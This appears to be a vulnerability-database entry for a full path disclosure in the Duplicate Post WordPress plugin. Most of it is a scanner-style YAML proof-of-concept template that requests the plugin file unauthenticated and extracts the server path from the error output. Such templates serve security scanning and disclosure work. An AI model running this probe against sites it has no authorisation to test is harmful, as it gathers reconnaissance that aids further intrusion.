wp-duplicate-post-fpd: Duplicate Post - Full Path Disclosure

2026-01-08 wp-duplicate-post-fpd PoC Public

Description

Duplicate Post WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.

PoC

id: wp-duplicate-post-fpd

info:
  name: Duplicate Post - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    Duplicate Post WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/duplicate-post/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/duplicate-post/"
  tags: debug,wordpress,wp,wp-plugin,duplicate-post,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/duplicate-post/duplicate-post.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "undefined function", "wp-content/plugins/duplicate-post/duplicate-post.php")'
        condition: and

    extractors:
      - type: regex
        name: disclosed-path
        group: 0
        regex:
          - '([A-Za-z]:\\[^\s<>"]+|/[^\s<>"]+)wp-content/plugins/duplicate-post/duplicate-post\.php'
# digest: 490a0046304402204feac2e4c45d4c3b9b3543931ea2c5ce718607b8b83032cf415d56ba2bf1829f0220208bc0c9b195cadbd272ca342fe1e049e1d656f05dbe3e0ace0a16f6fa002463:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities